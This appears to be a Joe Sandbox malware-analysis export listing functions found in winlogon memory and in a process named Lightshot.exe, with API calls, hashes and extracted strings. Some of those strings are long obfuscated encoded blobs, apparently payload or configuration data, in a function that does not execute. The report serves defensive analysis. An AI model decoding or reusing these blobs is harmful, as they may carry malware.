Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: ebbb92f6b71bc6aeecd0247755a998ea3fb1c1d57f03a5a9e81a6553625eb14e
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: FDE08C71A20B88C4DF028F21E8802DCB3A4EF68B68F889133CE4C06311EE38D1E9C300

Function 000001E8589573B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589573D8

Strings

riptor at (, xrefs: 000001E8589573C0
Locator', xrefs: 000001E8589573DD

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: d79e25d1bddce505cbefe66c1f7dc3f1dcce17b3d3d0eb5f19f21b045c52fa15
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 4AE0B661A61B88D4DB068F62E8912D8B3A5AB68B64FC89122DE5C56355EE38D1E9C300

Function 000001E858981BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E858981C2D
HeapAlloc.KERNEL32 ref: 000001E858981C3B
GetProcessHeap.KERNEL32 ref: 000001E858981C77
HeapFree.KERNEL32 ref: 000001E858981C85

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: bae03b9de4d8a0968d4e15549a5e41e9ffeeedaf31b7d182c916321c4c0c0085
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 4E113D35721BC5C1EA55DB66E8042ADB7A1FB89FC0F184036DE4D57765DE38C4428700

Function 000001E858981268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E85898126E
HeapAlloc.KERNEL32 ref: 000001E85898127D
GetProcessHeap.KERNEL32 ref: 000001E858981297
HeapAlloc.KERNEL32 ref: 000001E8589812A8

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: bf3232b7a1a84d483810c562108e731f4be810f9750f62d4ac0e33b9570d4307
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: D6E03935721684C6EB158BA2D80838ABAE2EB89B46F0480258D0907361EF7D8499C750

Analysis Process: Lightshot.exePID: 3524, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	172
Total number of Limit Nodes:	3

Executed Functions

Function 00007FF7B1C8118B Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 108
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF7B1C811A5
_amsg_exit.MSVCRT ref: 00007FF7B1C811CC
_initterm.MSVCRT ref: 00007FF7B1C8120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7B1C81156), ref: 00007FF7B1C8124E
malloc.MSVCRT ref: 00007FF7B1C8127E
strlen.MSVCRT ref: 00007FF7B1C812A4
malloc.MSVCRT ref: 00007FF7B1C812B0
memcpy.MSVCRT ref: 00007FF7B1C812C3
_cexit.MSVCRT ref: 00007FF7B1C8132D

Strings

Hc=v+, xrefs: 00007FF7B1C8126F
&, xrefs: 00007FF7B1C81265

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID: Hc=v+$&
API String ID: 2643109117-1582277970
Opcode ID: f28bcbd3aced9bded85194f04272e05ae1a5f6cd8d3217fde42567944beb1297
Instruction ID: 86f72bd26dee884ad71cbfd2be8e5f4203c41a7077a107d9fa421aa0f3e29c57
Opcode Fuzzy Hash: f28bcbd3aced9bded85194f04272e05ae1a5f6cd8d3217fde42567944beb1297
Instruction Fuzzy Hash: EA413071A1960689E700BB1DE59C379A391AF67789FE45031CB0D43BAEDFACA441C330

Function 00007FF7B1C81394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenKeyTransacted.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7B1C81156), ref: 00007FF7B1C813F7

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: OpenTransacted
String ID:
API String ID: 1720269262-0
Opcode ID: a1de17929970613745475dfb258eac20f00eeb650f4ca252eee93986af9b64e4
Instruction ID: f8fe3cc99da106a6e6dcc5344837f804fc241000b837bb771f6b178bfa1eebfe
Opcode Fuzzy Hash: a1de17929970613745475dfb258eac20f00eeb650f4ca252eee93986af9b64e4
Instruction Fuzzy Hash: B7F0C971908B4182D710EB59F88D03AB760FBAA388B605C35EA8D47B29CF7CE051DB60

Non-executed Functions

Function 00007FF7B1C865EC Relevance: 27.5, APIs: 12, Strings: 6, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7B1C866FB
wcslen.MSVCRT ref: 00007FF7B1C86872
wcslen.MSVCRT ref: 00007FF7B1C868A9

Strings

JTYTcnV1a2NsdGl6Ym54d2J2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0E3lvYwAe0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDUGNvODxrdA//aGO/a+sVdHVrY2h0aXqSblp3aXRtYW0mY29oZ2t0a3lvYyh9a3J0ZWtjaHRpOmNueHdiZmNhbXZjb255a3RreW9jbmxr, xrefs: 00007FF7B1C86793
6, xrefs: 00007FF7B1C86A3B
0, xrefs: 00007FF7B1C86F39
JTb7cnd1a2NsdGl6nZF4d9p2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0Q3hvY2Zz0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDeW5lTHlrdGt5b2NVHJArDWT+aRFl/HAbf+19UB/1ah1l9mVaEPt/w2j6aVoF+nkbZP5pBBoBcB9/7X0OGPJqB2X2ZQQX+397aPppBAL9, xrefs: 00007FF7B1C86F9E
JTb7cnd1a2NsdGl6nZF4d9p2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0i3lvY2Zz0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDeW5lTHlrdGt5b2NdVgWOBS5rzBkvadUTNXjYEy1izhAvY8A+5BDbHyJvzD7xFt0ELmvMPukE1RA1eNg06xLOHS9jwD7kF9sbIm/MPvET, xrefs: 00007FF7B1C86A65
X&, xrefs: 00007FF7B1C86FAC

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: wcslen
String ID: 0$JTYTcnV1a2NsdGl6Ym54d2J2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0E3lvYwAe0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDUGNvODxrdA//aGO/a+sVdHVrY2h0aXqSblp3aXRtYW0mY29oZ2t0a3lvYyh9a3J0ZWtjaHRpOmNueHdiZmNhbXZjb255a3RreW9jbmxr$JTb7cnd1a2NsdGl6nZF4d9p2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0Q3hvY2Zz0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDeW5lTHlrdGt5b2NVHJArDWT+aRFl/HAbf+19UB/1ah1l9mVaEPt/w2j6aVoF+nkbZP5pBBoBcB9/7X0OGPJqB2X2ZQQX+397aPppBAL9$JTb7cnd1a2NsdGl6nZF4d9p2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0i3lvY2Zz0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDeW5lTHlrdGt5b2NdVgWOBS5rzBkvadUTNXjYEy1izhAvY8A+5BDbHyJvzD7xFt0ELmvMPukE1RA1eNg06xLOHS9jwD7kF9sbIm/MPvET$X&$ 6
API String ID: 4088430540-3141501615
Opcode ID: fefaa4b7e40953cfa417f533f7704ca4e73cf3ccdfab8b8a9cf10832c6394322
Instruction ID: d9da619ba95e6320c848a902134fbc7de77a4d1117bb57215101d81e7252d4cd
Opcode Fuzzy Hash: fefaa4b7e40953cfa417f533f7704ca4e73cf3ccdfab8b8a9cf10832c6394322
Instruction Fuzzy Hash: 4E528321D2DB8288F711AF2DA8497F4E350AFB338DF944235DB8C569A9DFAC6145C324

Function 00007FF7B1C811D8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_initterm.MSVCRT ref: 00007FF7B1C8120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7B1C81156), ref: 00007FF7B1C8124E
malloc.MSVCRT ref: 00007FF7B1C8127E
strlen.MSVCRT ref: 00007FF7B1C812A4
malloc.MSVCRT ref: 00007FF7B1C812B0
memcpy.MSVCRT ref: 00007FF7B1C812C3
_cexit.MSVCRT ref: 00007FF7B1C8132D

Strings

Hc=v+, xrefs: 00007FF7B1C8126F
&, xrefs: 00007FF7B1C81265

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_cexit_inittermmemcpystrlen
String ID: Hc=v+$&
API String ID: 3825114775-1582277970
Opcode ID: 2ec421b47950669208d24b2c07c5bdd3e08f0d0719c06cd5544466d22b6309cc
Instruction ID: 680508bad1af1f73dde6bdbc8d0e1d703faa2fb5da1cee5c6160ddcbe0b365bf
Opcode Fuzzy Hash: 2ec421b47950669208d24b2c07c5bdd3e08f0d0719c06cd5544466d22b6309cc
Instruction Fuzzy Hash: 15411D7191960288E700BB1DE59C379A391AF66B9DFA45031CB4E43BAEDFECA441C331

Function 00007FF7B1C82690 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF7B1C82795
wcscpy.MSVCRT ref: 00007FF7B1C828CE
wcscat.MSVCRT ref: 00007FF7B1C828D9
wcslen.MSVCRT ref: 00007FF7B1C828E1
wcslen.MSVCRT ref: 00007FF7B1C828F6
wcslen.MSVCRT ref: 00007FF7B1C8296D
wcslen.MSVCRT ref: 00007FF7B1C829E8

Strings

X, xrefs: 00007FF7B1C82B79
`, xrefs: 00007FF7B1C82B91
0, xrefs: 00007FF7B1C8279A

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 597572034-2527496196
Opcode ID: 98185c13f6d2e375cf892135551cf39061725b7e67d8172754d23c2b4611d0ec
Instruction ID: aeb3a7da64d14ea25d19d8616db3b5d1b3000977be212d482ad6fb5b0b697ddc
Opcode Fuzzy Hash: 98185c13f6d2e375cf892135551cf39061725b7e67d8172754d23c2b4611d0ec
Instruction Fuzzy Hash: BB02C222908BC185E3209F19E4487BAB7A0FBA6798F904235DB9C07BE9DFBCD145C750

Function 00007FF7B1C83352 Relevance: 16.7, APIs: 6, Strings: 5, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.MSVCRT ref: 00007FF7B1C8349D
wcscat.MSVCRT ref: 00007FF7B1C834A8
wcslen.MSVCRT ref: 00007FF7B1C834B9
wcscpy.MSVCRT ref: 00007FF7B1C83635
wcscat.MSVCRT ref: 00007FF7B1C83640
wcslen.MSVCRT ref: 00007FF7B1C83654

Strings

0, xrefs: 00007FF7B1C834E6
@, xrefs: 00007FF7B1C83698
@, xrefs: 00007FF7B1C834F1
, xrefs: 00007FF7B1C836DD
0, xrefs: 00007FF7B1C8368D

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 3623275624-1413854666
Opcode ID: b0127d468d46c267b9460b4f0b1c573224c770eb45ce2e4a03525f6280a39a82
Instruction ID: 48e69d432e52367dc9ddbdde24ab75bc0823163e869c638d24dca096c3c638c1
Opcode Fuzzy Hash: b0127d468d46c267b9460b4f0b1c573224c770eb45ce2e4a03525f6280a39a82
Instruction Fuzzy Hash: 59B1B12180C6C185E321AB1CE4497FAB7A0FFA234CF905135EB8D56AA9DFBCD145CB60

Function 00007FF7B1C81BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF7B1C8C8F4,00007FF7B1C8C8F4,?,?,00007FF7B1C80000,?,00007FF7B1C81991), ref: 00007FF7B1C81C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF7B1C8C8F4,00007FF7B1C8C8F4,?,?,00007FF7B1C80000,?,00007FF7B1C81991), ref: 00007FF7B1C81CC7
memcpy.MSVCRT ref: 00007FF7B1C81CE0
GetLastError.KERNEL32(?,?,?,?,00007FF7B1C8C8F4,00007FF7B1C8C8F4,?,?,00007FF7B1C80000,?,00007FF7B1C81991), ref: 00007FF7B1C81D23

Strings

Address %p has no image-section, xrefs: 00007FF7B1C81CF4
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7B1C81D17
VirtualProtect failed with code 0x%x, xrefs: 00007FF7B1C81D29

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: ddbdcf1874e9ea71757a48b7d804bab9f2fa45dded7038c380b0ba63e0422925
Instruction ID: 7485e01ffd752addd7a8cbb5f1879832beba28d41fe2b46b2094344248b4ca42
Opcode Fuzzy Hash: ddbdcf1874e9ea71757a48b7d804bab9f2fa45dded7038c380b0ba63e0422925
Instruction Fuzzy Hash: 9C41B771A0854289EB11AB19D48C7B9A790EB67B89FA44132CF0D43BA9DE7CE445C321

Function 00007FF7B1C82104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7B1C82118
TlsGetValue.KERNEL32 ref: 00007FF7B1C8214F
GetLastError.KERNEL32 ref: 00007FF7B1C82154
LeaveCriticalSection.KERNEL32 ref: 00007FF7B1C82212
DeleteCriticalSection.KERNEL32 ref: 00007FF7B1C8225D

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: 613fdf5728c7ed6876bd790cebaa614c9071348df8fdca610d58b176e96f82e5
Instruction ID: fdcef9700e00b62deca65141e8d89cbc6b3fcccbce39132006215d6356cb8686
Opcode Fuzzy Hash: 613fdf5728c7ed6876bd790cebaa614c9071348df8fdca610d58b176e96f82e5
Instruction Fuzzy Hash: 1621F124A1950285FB15BB59E58C375D2607F23B99FE40131CF0D47AACCFACA846C360

Function 00007FF7B1C81E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF7B1C81E27

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 8ffd1e83da114adb7a12425d872c4067a8ab9974e88a3fba3c75f53be1714557
Instruction ID: 5e10815bddc534762b21a854ac22026a488710e5610a08ab19adf349fc03ea7b
Opcode Fuzzy Hash: 8ffd1e83da114adb7a12425d872c4067a8ab9974e88a3fba3c75f53be1714557
Instruction Fuzzy Hash: 90218D31E0910689FB64621C95CC37D91C19FBA76CFB99135DB0E43ADCCEACACC28261

Function 00007FF7B1C838E0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7B1C838F8
wcslen.MSVCRT ref: 00007FF7B1C8396E

Strings

0, xrefs: 00007FF7B1C83922
@, xrefs: 00007FF7B1C8392A

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: 8bc87b3cca2c78adc28c7b1354bc797d6113aeb12ee74f16880f0486ba838264
Instruction ID: 1aa0f3e51e3d73ab1fb34f30c3b1c63b7db4aed84da8662bf8c02f611b20a812
Opcode Fuzzy Hash: 8bc87b3cca2c78adc28c7b1354bc797d6113aeb12ee74f16880f0486ba838264
Instruction Fuzzy Hash: E3114D2252868186E3509B18F4897AAA3B4EFE5394F545124F78982A68EF7DC145CB10

Function 00007FF7B1C81880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7B1C81247), ref: 00007FF7B1C819F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF7B1C81B8B
Unknown pseudo relocation bit size %d., xrefs: 00007FF7B1C81B7B

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: f047dfd43f2b20f4878765ae852215213f87511333d9653e63cf908346f9a17d
Instruction ID: 1cc0ef22fa027c90a0ca83711941225010775bf4185f6db7a66db1bf1e558592
Opcode Fuzzy Hash: f047dfd43f2b20f4878765ae852215213f87511333d9653e63cf908346f9a17d
Instruction Fuzzy Hash: D3517821F04546DAEB10AB29D48D7B8A7A1BB26B5DFA45131DB1C07B9DCFBCE482C710

Function 00007FF7B1C81800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF7B1C8185A

Strings

Unknown error, xrefs: 00007FF7B1C81824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B1C8184D

Memory Dump Source

Source File: 00000024.00000002.2106685072.00007FF7B1C81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B1C80000, based on PE: true

Associated: 00000024.00000002.2106629889.00007FF7B1C80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106758888.00007FF7B1C8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2106845999.00007FF7B1C8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107597270.00007FF7B1F42000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000024.00000002.2107669171.00007FF7B1F45000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff7b1c80000_Lightshot.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
